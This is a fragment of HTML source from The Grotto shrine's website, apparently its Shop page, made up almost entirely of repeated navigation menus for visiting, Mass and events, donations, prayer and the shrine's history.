196Annual Garden Pass</a></li> 197 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item">Upper Gardens Temporary Closure</a></li> 198 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item">Directions</a></li> 199 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item">Pilgrimages </a></li> 200 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item">Field Trips</a></li> 201 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item">FAQ & Garden Etiquette </a></li> 202</ul> 203</li> 204<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item">Mass & Events</a> 205<ul class="sub-menu elementor-nav-menu--dropdown"> 206 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item">Mass Schedule</a></li> 207 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item">Event Calendar</a></li> 208 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item">Eucharistic Miracles Exhibit</a></li> 209 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item">Mass, Lunch & Learn</a></li> 210 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item">Gonzaga Concert Choir at The Grotto</a></li> 211 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item">Employment Opportunities</a></li> 212 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item">Rosary</a></li> 213 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item">Confession</a></li> 214 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item">Conference Center</a></li> 215 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item">Weddings</a></li> 216 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item">Christmas</a> 217 <ul class="sub-menu elementor-nav-menu--dropdown"> 218 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item">Christmas Festival of Lights</a></li> 219 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item">Christmas Mass Schedule</a></li> 220 </ul> 221</li> 222</ul> 223</li> 224<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item">Support</a> 225<ul class="sub-menu elementor-nav-menu--dropdown"> 226 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item">Donate</a></li> 227 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item">Volunteer</a></li> 228 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item">Friends of the Grotto</a></li> 229 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item">Legacy Gifts</a></li> 230</ul> 231</li> 232<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item">Pray</a> 233<ul class="sub-menu elementor-nav-menu--dropdown"> 234 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item">Daily Prayer</a></li> 235 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item">Mass Intentions</a></li> 236 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item">St. Peregrine Devotions </a></li> 237 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 238 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item">Light a Candle</a></li> 239</ul> 240</li> 241<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item">About Us</a> 242<ul class="sub-menu elementor-nav-menu--dropdown"> 243 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item">About The Grotto</a></li> 244 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item">The Grottoâs History</a></li> 245 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item">About The Servites</a></li> 246 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item">Contact Us</a></li> 247 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item">Daily E-News</a></li> 248</ul> 249</li> 250<li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-75 current_page_item menu-item-77"><a href="https://thegrotto.org/shop/" aria-current="page" class="elementor-item elementor-item-active">Shop</a></li> 251</ul> </nav> 252 <div class="elementor-menu-toggle" role="button" tabindex="0" aria-label="Menu Toggle" aria-expanded="false"> 253 <svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--open e-font-icon-svg e-eicon-menu-bar" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M104 333H896C929 333 958 304 958 271S929 208 896 208H104C71 208 42 237 42 271S71 333 104 333ZM104 583H896C929 583 958 554 958 521S929 458 896 458H104C71 458 42 487 42 521S71 583 104 583ZM104 833H896C929 833 958 804 958 771S929 708 896 708H104C71 708 42 737 42 771S71 833 104 833Z"></path></svg><svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--close e-font-icon-svg e-eicon-close" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M742 167L500 408 258 167C246 154 233 150 217 150 196 150 179 158 167 167 154 179 150 196 150 212 150 229 154 242 171 254L408 500 167 742C138 771 138 800 167 829 196 858 225 858 254 829L496 587 738 829C750 842 767 846 783 846 800 846 817 842 829 829 842 817 846 804 846 783 846 767 842 750 829 737L588 500 833 258C863 229 863 200 833 171 804 137 775 137 742 167Z"></path></svg> </div> 254 <nav class="elementor-nav-menu--dropdown elementor-nav-menu__container" aria-hidden="true"> 255 <ul id="menu-2-4073e96" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item" tabindex="-1">Visit</a> 256<ul class="sub-menu elementor-nav-menu--dropdown"> 257 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item" tabindex="-1">Hours & Admission</a></li> 258 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item" tabindex="-1">Gardens & Grounds</a></li> 259 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item" tabindex="-1">Annual Garden Pass</a></li> 260 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item" tabindex="-1">Upper Gardens Temporary Closure</a></li> 261 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item" tabindex="-1">Directions</a></li> 262 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item" tabindex="-1">Pilgrimages </a></li> 263 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item" tabindex="-1">Field Trips</a></li> 264 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item" tabindex="-1">FAQ & Garden Etiquette </a></li> 265</ul> 266</li> 267<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item" tabindex="-1">Mass & Events</a> 268<ul class="sub-menu elementor-nav-menu--dropdown"> 269 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item" tabindex="-1">Mass Schedule</a></li> 270 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item" tabindex="-1">Event Calendar</a></li> 271 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item" tabindex="-1">Eucharistic Miracles Exhibit</a></li> 272 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item" tabindex="-1">Mass, Lunch & Learn</a></li> 273 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item" tabindex="-1">Gonzaga Concert Choir at The Grotto</a></li> 274 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item" tabindex="-1">Employment Opportunities</a></li> 275 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item" tabindex="-1">Rosary</a></li> 276 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item" tabindex="-1">Confession</a></li> 277 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item" tabindex="-1">Conference Center</a></li> 278 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item" tabindex="-1">Weddings</a></li> 279 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item" tabindex="-1">Christmas</a> 280 <ul class="sub-menu elementor-nav-menu--dropdown"> 281 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item" tabindex="-1">Christmas Festival of Lights</a></li> 282 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item" tabindex="-1">Christmas Mass Schedule</a></li> 283 </ul> 284</li> 285</ul> 286</li> 287<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item" tabindex="-1">Support</a> 288<ul class="sub-menu elementor-nav-menu--dropdown"> 289 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item" tabindex="-1">Donate</a></li> 290 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item" tabindex="-1">Volunteer</a></li> 291 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item" tabindex="-1">Friends of the Grotto</a></li> 292 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item" tabindex="-1">Legacy Gifts</a></li> 293</ul> 294</li> 295<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item" tabindex="-1">Pray</a> 296<ul class="sub-menu elementor-nav-menu--dropdown"> 297 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item" tabindex="-1">Daily Prayer</a></li> 298 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item" tabindex="-1">Mass Intentions</a></li> 299 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item" tabindex="-1">St. Peregrine Devotions </a></li> 300 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item" tabindex="-1">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 301 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item" tabindex="-1">Light a Candle</a></li> 302</ul> 303</li> 304<li class="menu-item
304 menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item" tabindex="-1">About Us</a> 305<ul class="sub-menu elementor-nav-menu--dropdown"> 306 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item" tabindex="-1">About The Grotto</a></li> 307 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item" tabindex="-1">The Grottoâs History</a></li> 308 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item" tabindex="-1">About The Servites</a></li> 309 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item" tabindex="-1">Contact Us</a></li> 310 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item" tabindex="-1">Daily E-News</a></li> 311</ul> 312</li> 313<li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-75 current_page_item menu-item-77"><a href="https://thegrotto.org/shop/" aria-current="page" class="elementor-item elementor-item-active" tabindex="-1">Shop</a></li> 314</ul> </nav> 315 </div> 316 </div> 317 </div> 318 </div> 319 <div class="elementor-element elementor-element-884a98e elementor-hidden-desktop elementor-hidden-tablet e-con-full e-flex e-con e-parent" data-id="884a98e" data-element_type="container" data-e-type="container"> 320 <div class="elementor-element elementor-element-7bb8798 e-con-full e-flex e-con e-child" data-id="7bb8798" data-element_type="container" data-e-type="container"> 321 <div class="elementor-element elementor-element-dba6dc7 elementor-widget-mobile__width-initial elementor-widget elementor-widget-theme-site-logo elementor-widget-image" data-id="dba6dc7" data-element_type="widget" data-e-type="widget" data-widget_type="theme-site-logo.default"> 322 <a href="https://thegrotto.org"> 323 <img width="2560" height="415" src="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png" class="attachment-full size-full wp-image-399" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png 2560w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-300x49.png 300w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1024x166.png 1024w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-768x125.png 768w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1536x249.png 1536w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-2048x332.png 2048w" sizes="(max-width: 2560px) 100v
323w, 2560px" /> </a> 324 </div> 325 </div> 326 <div class="elementor-element elementor-element-b290988 e-con-full e-flex e-con e-child" data-id="b290988" data-element_type="container" data-e-type="container"> 327 <div class="elementor-element elementor-element-c926c98 elementor-nav-menu__align-end elementor-nav-menu--dropdown-mobile elementor-nav-menu--stretch elementor-nav-menu__text-align-aside elementor-nav-menu--toggle elementor-nav-menu--burger elementor-widget elementor-widget-nav-menu" data-id="c926c98" data-element_type="widget" data-e-type="widget" data-settings="{"submenu_icon":{"value":"<svg aria-hidden=\"true\" class=\"e-font-icon-svg e-fas-angle-down\" viewBox=\"0 0 320 512\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"><path d=\"M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z\"><\/path><\/svg>","library":"fa-solid"},"full_width":"stretch","layout":"horizontal","toggle":"burger"}" data-widget_type="nav-menu.default"> 328 <nav aria-label="Menu" class="elementor-nav-menu--main elementor-nav-menu__container elementor-nav-menu--layout-horizontal e--pointer-underline e--animation-fade"> 329 <ul id="menu-1-c926c98" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item">Visit</a> 330<ul class="sub-menu elementor-nav-menu--dropdown"> 331 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item">Hours & Admission</a></li> 332 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item">Gardens & Grounds</a></li> 333 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item">Annual Garden Pass</a></li> 334 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item">Upper Gardens Temporary Closure</a></li> 335 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item">Directions</a></li> 336 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item">Pilgrimages </a></li> 337 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item">Field Trips</a></li> 338 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item">FAQ & Garden Etiquette </a></li> 339</ul> 340</li> 341<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item">Mass & Events</a> 342<ul class="sub-menu elementor-nav-menu--dropdown"> 343 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item">Mass Schedule</a></li> 344 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item">Event Calendar</a></li> 345 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item">Eucharistic Miracles Exhibit</a></li> 346 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item">Mass, Lunch & Learn</a></li> 347 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item">Gonzaga Concert Choir at The Grotto</a></li> 348 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item">Employment Opportunities</a></li> 349 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item">Rosary</a></li> 350 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item">Confession</a></li> 351 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item">Conference Center</a></li> 352 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item">Weddings</a></li> 353 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item">Christmas</a> 354 <ul class="sub-menu elementor-nav-menu--dropdown"> 355 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item">Christmas Festival of Lights</a></li> 356 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item">Christmas Mass Schedule</a></li> 357 </ul> 358</li> 359</ul> 360</li> 361<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item">Support</a> 362<ul class="sub-menu elementor-nav-menu--dropdown"> 363 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item">Donate</a></li> 364 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item">Volunteer</a></li> 365 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item">Friends of the Grotto</a></li> 366 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item">Legacy Gifts</a></li> 367</ul> 368</li> 369<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item">Pray</a> 370<ul class="sub-menu elementor-nav-menu--dropdown"> 371 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item">Daily Prayer</a></li> 372 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item">Mass Intentions</a></li> 373 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item">St. Peregrine Devotions </a></li> 374 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 375 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item">Light a Candle</a></li> 376</ul> 377</li> 378<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item">About Us</a> 379<ul class="sub-menu elementor-nav-menu--dropdown"> 380 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item">About The Grotto</a></li> 381 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item">The Grottoâs History</a></li> 382 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item">About The Servites</a></li> 383 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item">Contact Us</a></li> 384 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item">Daily E-News</a></li> 385</ul> 386</li> 387<li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-75 current_page_item menu-item-77"><a href="https://thegrotto.org/shop/" aria-current="page" class="elementor-item elementor-item-active">Shop</a></li> 388</ul> </nav> 389 <div class="elementor-menu-toggle" role="button" tabindex="0" aria-label="Menu Toggle" aria-expanded="false"> 390 <svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--open e-font-icon-svg e-eicon-menu-bar" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M104 333H896C929 333 958 304 958 271S929 208 896 208H104C71 208 42 237 42 271S71 333 104 333ZM104 583H896C929 583 958 554 958 521S929 458 896 458H104C71 458 42 487 42 521S71 583 104 583ZM104 833H896C929 833 958 804 958 771S929 708 896 708H104C71 708 42 737 42 771S71 833 104 833Z"></path></svg><svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--close e-font-icon-svg e-eicon-close" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M742 167L500 408 258 167C246 154 233 150 217 150 196 150 179 158 167 167 154 179 150 196 150 212 150 229 154 242 171 254L408 500 167 742C138 771 138 800 167 829 196 858 225 858 254 829L496 587 738 829C750 842 767 846 783 846 800 846 817 842 829 829 842 817 846 804 846 783 846 767 842 750 829 737L588 500 833 258C863 229 863 200 833 171 804 137 775 137 742 167Z"></path></svg> </div> 391 <nav class="elementor-nav-menu--dropdown elementor-nav-menu__container" aria-hidden="true"> 392 <ul id="menu-2-c926c98" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-83"><a href="https://thegrotto.org/visit/" class="elementor-item" tabindex="-1">Visit</a> 393<ul class="sub-menu elementor-nav-menu--dropdown"> 394 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-94"><a href="https://thegrotto.org/visit/hours-admission/" class="elementor-sub-item" tabindex="-1">Hours & Admission</a></li> 395 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://thegrotto.org/visit/gardens/" class="elementor-sub-item" tabindex="-1">Gardens & Grounds</a></li> 396 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://thegrotto.org/visit/annual-garden-pass/" class="elementor-sub-item" tabindex="-1">Annual Garden Pass</a></li> 397 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1460"><a href="https://thegrotto.org/upper-gardens-temporary-closure/" class="elementor-sub-item" tabindex="-1">Upper Gardens Temporary Closure</a></li> 398 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-93"><a href="https://thegrotto.org/visit/directions/" class="elementor-sub-item" tabindex="-1">Directions</a></li> 399 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item" tabindex="-1">Pilgrimages </a></li> 400 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item" tabindex="-1">Field Trips</a></li> 401 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item" tabindex="-1">FAQ & Garden Etiquette </a></li> 402</ul> 403</li> 404<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item" tabindex="-1">Mass & Events</a> 405<ul class="sub-menu elementor-nav-menu--dropdown"> 406 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a 